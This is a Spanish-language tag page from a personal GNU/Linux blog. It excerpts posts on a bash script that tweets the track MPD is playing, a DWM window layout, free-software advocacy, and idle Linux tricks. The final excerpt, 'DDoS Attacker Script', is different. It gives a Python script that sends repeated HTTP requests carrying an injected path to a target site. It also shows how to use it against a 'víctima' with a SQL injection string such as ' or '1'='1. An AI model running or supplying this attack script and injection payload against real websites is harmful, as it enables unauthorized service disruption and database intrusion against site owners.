Etiquetagnu/linux

mpd-twitter: Publicar en twitter lo que estas escuchando

Ultimamente he estado usando el Music Player Daemon (MPD) para escuchar música. Tambien me he dado cuenta que en Twitter hace varios días está de trending topic el hashtag #nowplaying, donde la gente publica lo que está escuchando. En base a ésto y a un poco de imaginación y tiempo libre, cree un script en bash que me permite publicar lo que estoy escuchando.

El script, llamado mpd-twitter,  usa el cliente mpc para conectarse a mpd y obtener el artista y nombre de la reproducción actual, hacer el parseo necesario y posteriormente publica un estado en twitter.

Seguir leyendo

Bottom Stack en Dynamic Window Manager (DWM)

Hace meses que me decidí por usar DWM y de a poco voy teniendo distintas necesidades, por lo que he ido configurando poco a poco el gestor. Ultimamente, me dieron ganas de querer ordenar las ventanas de forma horizontal y revisando el sitio de DWM he encontrado el llamado “Bottom Stack”, que me ayudará a cumplir mi propósito.

Para lograrlo, simplemente tenemos que agregar un par de líneas al config.h y volver a compilarlo.

Seguir leyendo

La difusión de la filosofía del Software Libre

El modelo actual de difusión del software libre no está siendo efectivo, queremos mejorarlo.

En una reunión improvisada que tuve con 3 o 4 amigos, salió el tema del software libre y el cómo se está difundiendo en el país. Cuestionamos la efectividad de los distintos centros de difusión, grupos de usuarios, métodos y formas de difusión, etc. Dentro de tantas cosas que conversamos, decidimos volver a juntarnos para continuar conversando el tema y así buscar una solución a los distintos problemas que encontramos. Lo primero que decidimos fue que ante cualquier opinión o desacuerdo que tengamos, actuaremos. No buscaremos llenarnos la boca de palabras. Nuestro fín, es encontrar una solución al problema de la difusión de la filosofía del software libre en nuestro país, para ésto, hicimos una lista de los principales problemas que detectamos en el actual modelo de difusión:

  • Los distintos grupos de difusión no están practicando lo que predican.
  • Los eventos de difusión buscan masividad y no efectividad.
  • Por lo general se buscan usuarios, dejando de lado el concepto de libertad.
  • Se busca difundir el software libre usando software, drivers o firmwares privados.
  • Las charlas no son efectivas, pues siempre asiste la misma gente. Además, las personas buscan que les enseñen, no que les digan cómo hacer las cosas. (hay una pequeña situlesa en aquella diferencia)

Para éstos problemas, nosotros encontramos la siguiente solución:

Mediante un proceso de educación y concientización, buscamos una migración efectiva y no masiva. No nos enfocamos en migrar sistemas operativos, sino en migrar mentes.

Seguir leyendo

El que usa software privativo no está respetando su libertad

Siempre ha sido un tema de discusión el tema de la propiedad intelectual, derechos de autor, etc, pero esta véz quiero referirme a algo más allá de eso: el Software Libre.
gnuNo hay que confundir el concepto de Software Libre con Open Source, el primero corresponde a toda una filosofía relacionada a las libertades de las personas y lo segundo, simplemente, a código abierto. Una aplicación puede ser open source sin ser libre. La gran diferencia entre uno y el otro es el tema de las licencias. Para que el software sea libre es necesario que se permita compartir, modificar y adaptar el código.

Usar software libre es bueno porque permite, entre otras cosas, manejar y controlar algo que es tuyo: tu computador y es por éste motivo que nace el dilema entre el hardware y los famosos drivers propietarios/privativos v/s los libres. Para muchas personas el hecho de no poder aprovechar los recursos de su hardware gracias a los drivers libres significa un problema y entonces es cuando deciden usar el driver propietario o privado. El otro día, pensaba que la única forma de promover y mejorar el desarrollo de drivers (o firmwares) libres desde las propios fabricantes es usar los drivres libres ya existentes. Estamos en un proceso de educación y difusión del software libres y de nuestras libertades, si queremos lograr que éste proceso avance debemos sacrificarnos un poco. Imaginemos un mundo ideal, donde todas las personas usan drivers libres y los fabricantes no encuentran qué hacer para que los usuarios compren sus productos, como no se puede exprimir al máximo los recursos del hardware, el usuario no va a necesitar continuar comprando y por ende, los fabricantes se verían obligados a desarrollar ellos mismos un driver que sea libre y que cumpla con todo lo necesario para poder funcionar correctamente. Obviamente, es una utopía.

Seguir leyendo

Useless: Cosas ociosas e inútiles que puedes hacer en GNU/Linux

Aveces nos encontramos en el trabajo o en la universidad frente a la pantalla sin nada que hacer y empezamos a inventar cosas para hacer, probamos comandos, nos mandamos alguna cagadita, en fín, intentamos ocupar nuestro tiempo de ocio en algo. A continuación les mostraré unos cuantos tips para cuando esten aburridos.
Les enseñaré a escuchar como trabaja su disco duro, jugar con el speaker, ver los movimientos -en binario- del mouse y algo más.

La guía del ocio, índice:

  1. Ver los movimientos del mouse
  2. Escuchar como trabaja nuestro disco duro
  3. Jugar con el speaker

Seguir leyendo

DDoS Attacker Script: Peticiones automatizadas para lograr DoS

DDoS Attacker Script” es un pequeño script que he escrito en python que nos sirve para lograr con éxito un ataque de denegación de servicio en un sitio web. Este script lo diseñe especialmente para ataques de sql injection.

El funcionamiento es muy sencillo, se conecta y hace una petición de la URI especificada:

#!/usr/bin/python
import socket, sys, os
print "][ Attacking " + sys.argv[1]  + " ... ]["
print "injecting " + sys.argv[2];
def attack():	
	#pid = os.fork()
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((sys.argv[1], 80))
	print ">> GET /" + sys.argv[2] + " HTTP/1.1"
	s.send("GET /" + sys.argv[2] + " HTTP/1.1\r\n")
	s.send("Host: " + sys.argv[1]  + "\r\n\r\n");
	s.close()
for i in range(1, 10):
	attack()

La línea número 6 está comentada, si prefieren la pueden descomentar para ver lo que sucede.
El uso del script es de la siguiente forma:
$ python DDoS.py www.pagina.com SQLi
En www.pagina.com obviamente pondremos nuestra víctima y en SQLi, la cadena que hará el milagro, por ejemplo “ver_productos.php?id=55′ or ‘1’=’1